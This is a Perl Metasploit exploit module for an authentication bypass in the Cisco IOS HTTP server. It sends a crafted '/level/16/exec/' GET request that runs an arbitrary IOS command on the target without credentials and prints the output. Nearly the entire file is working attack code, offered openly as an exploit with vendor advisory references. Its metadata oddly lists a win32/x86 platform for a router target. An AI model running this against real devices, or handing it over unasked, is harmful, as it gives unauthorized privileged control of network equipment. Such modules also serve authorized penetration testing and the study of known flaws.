package Msf::Exploit::cisco_ioshttp;
use base "Msf::Exploit";
use strict;

my $advanced = { };

my $info =
{
    'Name'  => 'Cisco IOS HTTP Server Command Execution',
    'Version'  => '$Revision: 1.0 $',
    'Authors' => [ 'Kurt Grutzmacher <grutz [at] jingojango.net> [Artistic License]', ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32' ],
    'Priv'  => 0,
    'UserOpts'  => {
                    'RHOST' => [1, 'ADDR', 'The target address'],
                    'RPORT' => [1, 'PORT', 'The target port', 80],
                    'LEVEL' => [1, 'LEVEL', 'Exec level', 16],
                    'CMD'   => [1, 'CMD', 'IOS command to execute', 'show version'],
                },
    
    'Description'  =>  qq{
        Cisco IOS HTTP servers are vulnerable to an attack of
        authentication. When provided an exec level above 15
        no additional authentication is required.
    },
    
    'Refs'  =>  [  
                    'http://www.cisco.com/warp/public/707/IOS-httplevel-pub.html',
                    'http://www.osvdb.org/displayvuln.php?osvdb_id=578',
                ],
    'DefaultTarget' => 0,
};

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}


# This exploit based on http://www.k-otik.net/exploits/11.19.iawebmail.pl.php
sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $target_lvl  = $self->GetVar('LEVEL');
    my $target_cmd  = $self->GetVar('CMD');

    $self->PrintLine("[*] Attempting to exploit target ");    # . $target->[0]);
    $target_cmd =~ s/ /\//g;
    
    my $request = "GET /level/" . $target_lvl . "/exec/" . 
                  $target_cmd . " HTTP/1.0\r\n\r\n";
    
    my $s = Msf::Socket->new();
    if (! $s->Tcp($target_host, $target_port)) {
        $self->PrintLine("[*] Error: could not connect: " . $s->GetError());
        return;
    }

    $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
    $s->Send($request);

    $self->PrintLine("[*] Waiting for a response...");
    
    my $r = $s->Recv(-1, 5);
    chomp($r);
    $r =~ s/\r//g;
    $self->PrintLine("[*] Response>\n$r") if($r);
    sleep(2);
    $s->Close();
    return($r);
}
